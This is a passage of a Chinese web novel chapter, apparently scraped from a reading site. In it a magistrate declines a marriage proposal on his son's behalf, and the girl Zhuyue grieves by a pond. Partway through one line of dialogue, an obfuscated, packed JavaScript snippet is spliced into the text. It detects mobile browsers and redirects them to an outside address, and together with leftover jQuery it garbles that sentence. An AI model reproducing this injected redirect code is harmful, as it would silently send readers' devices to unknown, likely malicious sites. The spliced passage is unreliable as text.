赵季青摇头道:“也许他和你一样的想法吧。为父也觉得不必那么着急,毕竟是人生大事,遇到合眼缘的再说不迟。” 赵知行没说,慕怀清也不会挑明。 赵季青感慨道:“为父对你们三个孩子最大的期望就是你们将来能过得幸福美满,有所爱,有所得,一生无悔。” “爹爹可知我表字由来?” “我知道,三娘替你取的。” “晦,意为黑夜。阿娘临走前替我留字无晦,一是希望我为人正直,心中清明;二是希望我前路坦荡,平安顺遂;三也是她一生的注解,无悔生下我,无悔与爹爹相遇。” 烛火摇曳,赵季青眼中细微的泪光一闪一闪。 “可我有悔。如果岁月能倒流,我宁愿舍弃我的姓名。那时的我太过年轻,太过愚蠢,以为事情是自己可控的,以为退让和妥协就可以换来自己想要的东西。我有愧于她,我是个懦弱的人。孩子,我希望你能以我为鉴。我已经无法解脱了,可你还年轻,喜欢的事尽管放手去做,剩下的有为父在。” 慕怀清垂眸,不敢直视他:“如果,我是说如果,将来的某一天,您发现我欺骗了您,令您陷入两难的境地怎么办?” “那一定是我的失职,你也一定有不得已的苦衷。” 慕怀清没作声。 “好了,小小年纪别想那么多,”赵季青站起身来,“这门亲事你若不愿就罢了,我会替你亲自向霍家的老太爷说明。你也该早点睡了,读书用功虽好,却比不得身体重要。” 慕怀清起身相送:“好,爹爹也是,早些歇息。” - 霍有山送出草帖子第二天,赵季青就亲自登门了。 斗菊会那天霍有山慧眼如炬,对于逐月有意中人的事喜上眉梢,对方也是老熟人的儿子,知根知底,品行兼优,难得亲上加亲。不像他那个不成器的孙子,说了好几门亲,这也不要那也不要,尽跟他对着干,叫他心烦。 现在可好,赵知州亲自登门,八成有戏,家中终于有件喜事了。其实逐月这丫头才刚及笄,他还想多留两年来着,但难得她有自己中意的人,先把亲定下来再说,晚两年成亲也不是不行。慕无晦这等大才之人,拖一拖说不定就让别人捷足先登了。 他现在心底还乐呵呵地觉得自己做了件好事。 霍有山正厅看茶,请赵季青落座。 “赵知州可是为亲事而来的?若要回帖,差媒人送来就是,何必自己亲自跑一趟呢?” “我要说的正是这门亲事,”赵季青掏出霍家的草帖子,原封不动放在桌上,“还请老太爷恕罪,大儿未谈亲,小儿也不敢逾矩越过他兄长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233120|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能辜负老太爷一番美意了。” 霍有山这下傻眼了,他实在想不出这门亲事有什么拒绝的理由,问道:“赵知州可是还有什么疑虑?长幼年纪在我看来并非什么大事,亲事定下来缓两年也行。逐月这丫头我从小看着长大的,是我的半个孙女了,她绝对是个顶好儿的女娘。” “还请老太爷莫要误会,此事全在小儿,他眼下功名未成,也不愿耽误了好人家的女娘,若是违心应下,那才是不妥,老太爷想必也能理解吧。” 霍有山犹不死心,道:“真的不再考虑考虑?” “只能说两个孩子缘分未到吧。” 霍有山见他言辞恳切,也不再逼迫,最后叹息一声:“罢了,年轻人的事,算我多管闲事了。” 门外,两个人猫在窗边听完了,沉默着。 霍澄紧张地盯着逐月。逐月死咬着唇,竭力隐忍,良久,在屋内两人开始道别时,她猛地往后院冲去。 霍澄轻轻抽了自己一个嘴巴子,心中暗怪自己斗菊会那天没听明白那三个人的哑谜,非得来听这个墙角。 话还得从昨天说起。昨天他在府里晃荡,撞见媒人拿了个草帖子出去。他疑心祖父又在给他说亲,但不敢当面再顶撞。今日见赵伯伯上门,很是吓了一跳,心想祖父莫不是说亲说到知行家去了,于是赶紧拉了逐月过来盯着。谁承想是这么一回事。 他心中不光骂自己,连带着将那三人也骂了几遍,赶紧跟上了逐月。 逐月跑到后院,坐在水塘边上,一块又一块往塘里砸石头发泄。池水清澈,游鱼受了惊吓四处逃散。 霍澄在她身边坐下,发现她早已泪流满面。 “我都不知道……”霍澄挠着头,不知该说什么好。 逐月拿袖子胡乱抹了把脸,委屈道:“老太爷好端端跑去提亲做什么啊,我自己都还没机会说,就这么结束了。” “都怪无晦,不识好歹!” “你骂他干嘛!” “我,我这是帮你出气。” 逐月的手猛抬起来,又顿住,软绵绵垂下,手中的石子最后也没激起什么水花。她颓然道:“算了,反正他也对我无意,省得日后难堪。” 涟漪一圈圈荡开,消散,最后仍是平静的池面,什么痕迹也没留下。 “这件事就算过去了,我下不会放在心上呢,”逐月又重复了一遍,“我才不会。” 霍澄松了口气:“对嘛,这天底下大好男儿多得是。” “不过郎君你的账我还记着。” 霍澄糊涂道:“什么账。” “我要向老太爷告状去,说你以为这是你的亲事,憋了一肚子坏水想坏了它。”逐月说罢起身跑开。 霍澄连忙在后面追:“我可什么都没做啊,你别乱说。” “你吊在树上准备用来对付媒婆的一盆面粉我都看见啦!” “好逐月,那是我喂松鼠的!”